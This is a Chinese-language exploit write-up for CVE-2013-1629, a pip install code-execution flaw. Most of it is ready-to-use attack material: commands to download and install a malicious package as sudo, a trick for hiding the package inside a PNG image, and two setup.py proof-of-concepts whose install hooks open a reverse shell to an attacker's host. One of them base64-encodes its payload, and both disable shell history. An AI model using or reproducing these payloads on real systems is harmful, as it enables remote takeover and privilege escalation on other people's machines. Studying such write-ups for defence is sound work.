登录 白背景

Python pip install RCE 漏洞 CVE-2013-1629

漏洞描述

当通过 HTTP 从 Pypi 存储库检索包时,不会检查包内容的完整性。利用这个缺陷,攻击者可以通过 pip install 来执行代码。

参考阅读:

漏洞影响

pip < 1.3

漏洞复现

方式 1 FakePip

setup.py 文件下载到远程目标:

$ wget http://your-vps-ip/setup.py

在 VPS 上监听端口,在远程目标上执行命令:

$ mkdir fakepip
$ mv setup.py fakepip/
$ cd fakepip
# sudo /usr/bin/pip install . --upgrade --force-reinstall

成功获取反弹 Shell。

方式 2 图片马

setup.py 文件放在文件夹中并压缩命名为,选择一张图片 test.png,制作图片马:

$ copy /b test.png + pic.zip pic.png

在 VPS 上监听端口,将图片上传至公网图床,复制链接,在远程目标上执行命令:

$ pip install " https://<your-img-link>"

也将图片可以上传到 VPS,在远程目标上执行命令:

$ pip3 install "http://192"."168"."xx"."xxx/pic.png"

漏洞 POC

方式 1 setup.py

from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
  def run(self):
    install.run(self)
    LHOST = 'localhost'  # change this
    LPORT = 13372
    
    reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

方式 2 setup.py

from setuptools import setup
import socket,subprocess,os
def run():
  import socket, time,pty, os
  host='{LHOST}'
  port='{LPORT}'
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.settimeout(10)
  s.connect((host,port))
  os.dup2(s.fileno(),0)
  os.dup2(s.fileno(),1)
  os.dup2(s.fileno(),2)
  os.putenv("HISTFILE",'/dev/null')
  pty.spawn("/bin/bash")
  s.close()
run()

setup(name="FakePip", version="1.0")